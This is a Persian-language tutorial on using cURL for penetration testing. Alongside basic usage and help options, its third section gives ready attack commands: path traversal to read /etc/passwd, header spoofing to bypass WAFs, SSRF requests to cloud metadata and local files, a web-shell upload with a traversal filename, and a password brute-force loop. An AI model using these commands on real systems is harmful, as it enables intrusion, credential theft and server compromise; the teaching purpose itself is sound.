آموزش جامع cURL: سلاح مخفی هکرها و متخصصان امنیت

itachi
1405.07.15
11 بازدید
زمان مورد نیاز برای مطالعه: 12 دقیقه

مقدمه: چرا cURL ابزار محبوب هکرهاست؟

در دنیای امنیت سایبری و تست نفوذ، ابزارهای گرافیکی زیادی وجود دارند، اما هیچ‌کدام به اندازه cURL قدرتمند، سریع و منعطف نیستند. cURL یک ابزار خط فرمان (Command Line) است که به شما اجازه می‌دهد درخواست‌های HTTP را با کنترل کامل ارسال کنید.

برخلاف مرورگرها که بسیاری از کارها را به صورت خودکار انجام می‌دهند (مثل مدیریت کوکی‌ها، ریدایرکت‌ها و اجرای جاوااسکریپت)، cURL دقیقاً همان چیزی را می‌فرستد که شما می‌خواهید. همین ویژگی باعث شده که هکرها و متخصصان امنیت از آن به عنوان یک “چاقوی جراحی” برای تست دقیق آسیب‌پذیری‌ها استفاده کنند.

در این مقاله، ابتدا با اصول cURL آشنا می‌شوید، سپس سیستم راهنمای داخلی (Help System) را به طور کامل یاد می‌گیرید و در نهایت تکنیک‌های حرفه‌ای که هکرها برای تست نفوذ استفاده می‌کنند را کشف می‌کنید.

بخش ۱: cURL چیست و چه کاربردی دارد؟

cURL مخفف Client URL است و یک ابزار خط فرمان برای انتقال داده‌ها با پروتکل‌های مختلف (HTTP, HTTPS, FTP, SFTP و…) می‌باشد. این ابزار روی تقریباً تمام سیستم‌عامل‌ها (لینوکس، ویندوز، مک) قابل اجراست.

چرا هکرها از cURL استفاده می‌کنند؟

  1. کنترل کامل بر درخواست: هر هدر (Header)، کوکی، متد HTTP و پارامتری که می‌خواهید را می‌توانید دستی تنظیم کنید.

  2. قابلیت اسکریپت‌نویسی: می‌توانید cURL را در اسکریپت‌های Bash یا Python قرار دهید و حملات را خودکار کنید.

  3. دقت بالا: مرورگرها ممکن است درخواست شما را تغییر دهند (مثلاً مسیرها را نرمال‌سازی کنند)، اما cURL این کار را نمی‌کند.

  4. سرعت و سبکی: بدون نیاز به رابط گرافیکی، در کسری از ثانیه اجرا می‌شود.


بخش ۲: اصول اولیه و راهنمای کامل Help System

۲.۱ سینتکس پایه cURL

سینتکس پایه cURL بسیار ساده است:

curl [گزینه‌ها] [آدرس]

مثال ۱: دریافت یک صفحه وب

curl https://example.com

مثال ۲: ذخیره خروجی در یک فایل

 
curl -o page.html https://example.com

مثال ۳: مشاهده جزئیات کامل درخواست و پاسخ (کلید موفقیت در تست نفوذ)

 
curl -v https://example.com

گزینه -v (مخفف verbose) تمام هدرهای ارسالی و دریافتی را نشان می‌دهد. این گزینه برای دیباگ کردن و فهمیدن اینکه سرور چه چیزی دریافت کرده، حیاتی است.

۲.۲ راهنمای کامل Help System در cURL (بخش ویژه)

 

این بخش، یکی از مهم‌ترین مهارت‌هایی است که بسیاری از افراد نادیده می‌گیرند. در یک محیط تست نفوذ، ممکن است دسترسی به اینترنت نداشته باشید و نتوانید مستندات آنلاین را بخوانید. در این مواقع، Help System داخلی cURL نجات‌دهنده شماست.

الف) نمایش راهنمای کلی: curl --help

curl –help

این دستور لیست تمام گزینه‌های cURL را به صورت دسته‌بندی شده (HTTP، FTP، Output، Connection و…) نمایش می‌دهد.

ترفند حرفه‌ای: اگر به دنبال یک گزینه خاص هستید، از grep استفاده کنید:

curl --help | grep -i "proxy"

این دستور تمام گزینه‌های مربوط به پروکسی را فیلتر می‌کند.

ب) راهنمای دسته‌بندی‌شده: curl --help [دسته]

cURL به شما اجازه می‌دهد راهنما را بر اساس دسته‌بندی خاصی مشاهده کنید:

 
curl --help http        # فقط گزینه‌های مربوط به HTTP
curl --help all         # نمایش تمام گزینه‌ها (حتی موارد نادر)
curl --help output      # فقط گزینه‌های مربوط به خروجی و فایل

جدول دسته‌بندی‌های مهم:

 

دستهکاربرد
httpگزینه‌های مربوط به پروتکل HTTP
ftpگزینه‌های مربوط به پروتکل FTP
outputمدیریت خروجی و ذخیره در فایل
connectتنظیمات اتصال و تایم‌اوت
securityتنظیمات SSL/TLS و احراز هویت
transferکنترل انتقال داده
allنمایش تمام گزینه‌ها

ج) نمایش نسخه و قابلیت‌ها: curl --version

curl --version

خروجی نمونه:

 
curl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 OpenSSL/3.0.13
Protocols: dict file ftp ftps gopher http https imap imaps ...
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IPv6 ...

چرا این دستور برای هکرها مهم است؟

  •  
  • Protocols: بررسی کنید که آیا cURL از پروتکل‌هایی مثل file://، gopher:// یا dict:// پشتیبانی می‌کند؟ این پروتکل‌ها در حملات SSRF حیاتی هستند.

  • Features: بررسی وجود قابلیت‌هایی مثل HTTP2، HSTS و IDN.

د) راهنمای کامل و آفلاین: man curl

کامل‌ترین مرجع cURL، صفحه man آن است که تمام گزینه‌ها را با جزئیات، مثال و سناریوهای کاربردی توضیح می‌دهد:

man curl

کلیدهای میانبر در صفحه man:

 
 
کلیدعملکرد
/کلمهجستجوی یک کلمه (مثلاً /proxy)
nرفتن به نتیجه بعدی جستجو
Nرفتن به نتیجه قبلی جستجو
qخروج از صفحه man
gرفتن به ابتدای صفحه
Gرفتن به انتهای صفحه

سناریوی واقعی: فرض کنید در حال تست نفوذ هستید و می‌خواهید یک اتصال WebSocket را با cURL تست کنید، اما نمی‌دانید چه گزینه‌ای لازم است. کافیست دستور man curl را اجرا کنید و سپس /websocket را تایپ کنید تا تمام گزینه‌های مربوطه را ببینید.


بخش ۳: تکنیک‌های هکرها با cURL (بخش اصلی)

اینجا جایی است که cURL از یک ابزار ساده به یک سلاح تبدیل می‌شود. هکرها و تست‌کنندگان نفوذ از این تکنیک‌ها برای دور زدن امنیت و کشف آسیب‌پذیری‌ها استفاده می‌کنند.

تکنیک ۱: دور زدن فیلترهای مسیر با --path-as-is

این یکی از مهم‌ترین تکنیک‌ها برای کشف آسیب‌پذیری Directory Traversal (عبور از مسیر) است.

فرض کنید می‌خواهید یک حمله Path Traversal انجام دهید:

curl http://target.com/../../../../etc/passwd

cURL به صورت پیش‌فرض مسیر را نرمال‌سازی می‌کند و آن را به /etc/passwd تبدیل می‌کند. یعنی Payload شما از بین می‌رود!

راه‌حل: استفاده از گزینه --path-as-is

 
curl http://target.com/../../../../etc/passwd --path-as-is

حالا cURL دقیقاً همان مسیر را می‌فرستد و اگر سرور آسیب‌پذیر باشد، می‌توانید فایل‌های حساس را بخوانید.

تکنیک ۲: دور زدن DNS و تست Virtual Hosts با --resolve

گاهی اوقات یک سرویس فقط از داخل شبکه قابل دسترسی است، یا یک Virtual Host خاص فقط با نام دامنه مشخص پاسخ می‌دهد. با --resolve می‌توانید cURL را مجبور کنید یک دامنه را به IP خاصی resolve کند.

curl --resolve admin.target.com:80:127.0.0.1 http://admin.target.com

این دستور باعث می‌شود درخواست به admin.target.com به جای DNS عمومی، به 127.0.0.1 (لوکال‌هاست) فرستاده شود. این تکنیک برای دور زدن محدودیت‌های IP یا تست سرویس‌های داخلی عالی است.

تکنیک ۳: جعل هدرها (Header Spoofing) برای دور زدن WAF

فایروال‌های برنامه (WAF) اغلب ترافیک را بر اساس هدرهایی مثل User-Agent یا X-Forwarded-For فیلتر می‌کنند. هکرها با cURL این هدرها را جعل می‌کنند:

# جعل User-Agent برای عبور از فیلتر ربات‌ها
curl -H "User-Agent: Googlebot/2.1" https://target.com/

# جعل IP برای تست دسترسی‌های ادمین
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin

# جعل Host برای دسترسی به سرویس‌های داخلی
curl -H "Host: internal.target.com" https://target.com/

تکنیک ۴: تست SSRF (Server-Side Request Forgery)

در حملات SSRF، مهاجم سرور قربانی را مجبور می‌کند تا به منابع داخلی یا خارجی درخواست بفرستد. cURL ابزار اصلی برای تست این آسیب‌پذیری است:

 
# تست دسترسی به متادیتای ابری
curl "https://vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# خواندن فایل‌های لوکال با پروتکل file://
curl "https://vulnerable.com/fetch?url=file:///etc/passwd"

# اسکن پورت‌های داخلی
curl "https://vulnerable.com/fetch?url=http://127.0.0.1:22"

تکنیک ۵: ارسال داده‌های پیچیده (POST, JSON, File Upload)

ارسال داده POST ساده:

curl -X POST -d "username=admin&password=123" https://target.com/login

ارسال JSON (برای APIها):

 
curl -X POST -H "Content-Type: application/json" \
     -d '{"username":"admin","password":"test"}' \
     https://target.com/api/login

آپلود فایل (تست Directory Traversal در نام فایل):

 
curl -F "file=@shell.php;filename=../../../../var/www/shell.php" https://target.com/upload

تکنیک ۶: استفاده از پروکسی برای ناشناس ماندن

 
# استفاده از پروکسی SOCKS5
curl -x socks5h://127.0.0.1:1080 https://target.com/

# استفاده از پروکسی HTTP
curl -x http://proxy-server:8080 https://target.com/

تکنیک ۷: خودکارسازی حملات با اسکریپت

یکی از قدرت‌های اصلی cURL، ترکیب آن با حلقه‌های Bash برای حملات خودکار است:

 
for pass in $(cat passwords.txt); do
  curl -s -X POST -d "user=admin&pass=$pass" https://target.com/login | grep "Welcome"
done

بخش ۴: تکنیک طلایی – بازتولید درخواست‌های مرورگر با cURL

یکی از کاربردی‌ترین ترفندها برای تست نفوذ، این است که یک درخواست را در مرورگر (Chrome/Firefox) ثبت کنید و سپس آن را با cURL تکرار کنید.

مراحل:

  1. در مرورگر، کلید F12 را بزنید تا Developer Tools باز شود.

  2. به تب Network بروید.

  3. عملیاتی که می‌خواهید تست کنید را انجام دهید (مثلاً لاگین).

  4. روی درخواست مورد نظر راست‌کلیک کنید و گزینه Copy و سپس Copy as cURL را انتخاب کنید.

  5. حالا یک دستور cURL کامل (با تمام هدرها و کوکی‌ها) در کلیپ‌بورد شماست. آن را در ترمینال Paste کنید و اجرا کنید.

این تکنیک به شما اجازه می‌دهد تا دقیقاً همان درخواستی که مرورگر می‌فرستد را دستکاری کنید و بفهمید کدام پارامتر آسیب‌پذیر است.


بخش ۵: جدول مرجع سریع گزینه‌های cURL

 
 
گزینهکاربرد
--helpنمایش راهنمای کلی
--help httpنمایش گزینه‌های HTTP
--versionنمایش نسخه و پروتکل‌های پشتیبانی شده
man curlراهنمای کامل و آفلاین
-vنمایش کامل درخواست و پاسخ (دیباگ)
--path-as-isجلوگیری از نرمال‌سازی مسیر (Directory Traversal)
--resolveاجبار به resolve دامنه به IP خاص
-Hتنظیم هدر سفارشی (جعل User-Agent, IP)
-Xتعیین متد HTTP (POST, PUT, DELETE)
-dارسال داده‌های POST
-Fارسال فرم چندبخشی (آپلود فایل)
-b / -cارسال / ذخیره کوکی‌ها
-xاستفاده از پروکسی
-kنادیده گرفتن خطای SSL
-Lدنبال کردن ریدایرکت‌ها
--connect-timeoutتعیین تایم‌اوت اتصال